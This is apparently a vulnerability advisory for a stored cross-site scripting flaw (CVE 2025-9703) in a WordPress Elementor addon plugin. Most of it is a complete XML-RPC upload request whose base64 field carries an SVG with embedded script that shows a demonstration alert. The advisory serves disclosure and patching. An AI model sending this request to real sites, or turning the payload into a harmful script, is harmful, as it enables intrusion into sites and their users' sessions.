Ultimate Addons for Elementor Lite < 2.5.0 – Author+ Stored XSS | CVE 2025-9703

Description

The plugin does not sanitize SVG file contents when uploaded through the xmlrpc.php endpoint using base64 encode, leading to a Cross-Site Scripting vulnerability.

Proof of Concept

Send POST request to /xmlrpc.php with payload in the body. Send the request as an Author level user:
 
```
<?xml version="1.0"?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param>
<value><int>1</int></value>
</param>
<param>
<value><string>username</string></value> <!-- input username (author permission)-->
</param>
<param>
<value><string>password</string></value> <!-- input password -->
</param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.svg</string></value>
</member>
<member>
<name>type</name>
<value><string>image/svg+xml</string></value>
</member>
<member>
<name>bits</name>
<value><base64>
PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMDAiIGhlaWdodD0iMTAwIiB2aWV3Qm94PSIwIDAgMTAwIDEwMCI+CjxyZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0iMTAwIiBmaWxsPSIjZWVlIi8+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KICAgIGFsZXJ0KCJYU1MgUG9DIC0gbGFiIHVzZSBvbmx5Iik7Cjwvc2NyaXB0Pgo8L3N2Zz4=
</base64></value>
</member>
<member>
<name>overwrite</name>
<value><boolean>0</boolean></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
```

The SVG containing the XSS will be accessible at https://example.com/wp-content/uploads/2025/08/filename.svg